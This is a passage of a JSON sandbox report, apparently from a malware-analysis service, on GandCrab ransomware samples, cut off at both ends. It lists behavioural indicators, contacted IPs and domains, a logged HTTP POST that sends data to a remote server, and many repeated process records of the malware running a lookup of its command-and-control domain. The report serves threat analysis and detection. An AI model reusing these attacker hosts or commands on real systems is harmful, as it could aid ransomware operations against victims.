Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtdllDefWindowProc_W@NTDLL.DLL at 00016109-00004640-64782-116-00402CAA","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Ransomware","details_count":2,"details":[{"detail":"The analysis extracted a known ransomware file"},{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Accesses potentially sensitive information from local browsers"},{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Tries to identify its external IP address"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Adware","details_count":1,"details":[{"detail":"Possibly checks for the presence of an adware detecting tool"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Tries to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]}]},"activity":{"stats":{"process_count":64,"spawned_processes_count":64,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":37,"imported_dlls_count":94,"dropped_files_count":0,"extracted_files_count":30,"files_written_count":79,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["GandCrab","ransomware","criminal","gandcrab","pinchyspider","adwind","agenttesla","alienspy","banker","bladabindi","chanitor","chthonic","cridex","crimson","darkcomet","dofoil","dridex","dyre","dyreza","emotet","fareit","gootkit","gozi","hancitor","hawkeye","infostealer","isfb","keylogger","lokibot","maldoc","msil","nanocore","netwire","neutrino","neverquest","njrat","papras","poisonivy","pony","predator","qakbot","rat","smokeloader","stealer","trojan","troldesh","ursnif","vawtrak","wanacrypt0r","wannacry","wcry","zbot","zeus","suspicious","bunitu","crypt","cryptojoker","downloader","jaffransomware","nukesped"],"sample_flags":["Network Traffic","Extracted Files","Sample Crashed","User Comment","Multi-Process"],"sandbox_reports":[{"id":"66f01514b83175aa6a0b8fbe","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["CHN"],"submit_name":"malware.exe","analysis_start_time":"2024-09-22T13:01:09+00:00","indicators_count":{"informative":96,"suspicious":37,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"5ac36da27ca3e12e424fcdca","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Ransom.GandCrab","contacted_countries":["CHN","USA"],"submit_name":"4.exe","analysis_start_time":"2018-04-03T15:35:16+00:00","indicators_count":{"informative":19,"suspicious":32,"malicious":13},"tags":["Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"5a6ad0b07ca3e149fc6217e3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["CHN","RUS","USA"],"submit_name":"4.exe","analysis_start_time":"2018-01-26T07:59:05+00:00","indicators_count":{"informative":19,"suspicious":35,"malicious":11},"tags":["Network Traffic","Extracted Files","Sample Crashed","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"66.171.248.178","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"address":"101.226.79.205","port":53,"protocol":"UDP","country":"China","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"address":"78.155.206.6","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"address":"117.135.128.175","port":53,"protocol":"UDP","country":"China","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"address":"112.90.141.215","port":53,"protocol":"UDP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}],"dns_resolutions":[{"domain":"a.dnspod.com","address":"101.226.79.205","country":"China","registrar_name":"DNSPod, Inc.","registrar_organization":"DNSPod","registrar_name_servers":"A.DNSPOD.COM","registrar_creation_date":"2006-03-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"domain":"ipv4bot.whatismyipaddress.com","address":"66.171.248.178","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"domain":"gandcrab.bit","country":"-","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]}],"http_requests":[{"host":"ipv4bot.whatismyipaddress.com","host_ip":"66.171.248.178:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\nHost: ipv4bot.whatismyipaddress.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"host":"78.155.206.6","host_ip":"78.155.206.6:80","url":"/curl.php?token=1019","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /curl.php?token=1019 HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\nHost: 78.155.206.6\nContent-Length: 5897\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}],"processes":[{"pid":5544,"ppid":0,"name":"malware.exe","command_line":"","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","normalized_path":"C:\\malware.exe","uid":"00000000-00005544","icon":"$34"},{"pid":6948,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006948"},{"pid":1460,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001460"},{"pid":6872,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006872"},{"pid":4640,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004640"},{"pid":2632,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00002632"},{"pid":4352,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004352"},{"pid":7644,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007644"},{"pid":7960,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007960"},{"pid":5152,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005152"},{"pid":4732,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004732"},{"pid":7240,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007240"},{"pid":4336,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004336"},{"pid":368,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00000368"},{"pid":5924,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005924"},{"pid":7820,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007820"},{"pid":4692,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004692"},{"pid":2880,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00002880"},{"pid":1468,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001468"},{"pid":1536,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001536"},{"pid":2696,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00002696"},{"pid":796,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00000796"},{"pid":5012,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005012"},{"pid":5616,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005616"},{"pid":5180,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005180"},{"pid":6908,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006908"},{"pid":5256,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005256"},{"pid":4000,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004000"},{"pid":1960,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001960"},{"pid":4556,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004556"},{"pid":6784,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006784"},{"pid":6604,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006604"},{"pid":788,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00000788"},{"pid":3304,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003304"},{"pid":6048,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006048"},{"pid":3984,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003984"},{"pid":5232,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005232"},{"pid":6868,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006868"},{"pid":3028,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003028"},{"pid":7544,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007544"},{"pid":6380,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006380"},{"pid":5184,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005184"},{"pid":5240,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005240"},{"pid":6336,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006336"},{"pid":3184,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003184"},{"pid":1356,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001356"},{"pid":5992,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005992"},{"pid":7368,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007368"},{"pid":4716,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004716"},{"pid":2620,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00002620"},{"pid":3912,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003912"},{"pid":6036,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006036"},{"pid":3532,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003532"},{"pid":1088,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001088"},{"pid":5672,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005672"},{"pid":6848,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00006848"},{"pid":7196,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00007196"},{"pid":3944,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00003944"},{"pid":1084,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001084"},{"pid":1380,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00001380"},{"pid":5072,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00005072"},{"pid":4728,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit a.dnspod.com","sha256":"7ea2231e5725303ea7f171a2f5bddd3012633b7d1e95421edc5f1fe52d6cba58","normalized_path":"%WINDIR%\\SysWOW64\\nslookup.exe","parent_uid":"00000000-00005544","uid":"00000000-00004728"},{"pid":3540,"ppid":5544,"name":"nslookup.exe","command_line":"nslookup gandcrab.bit 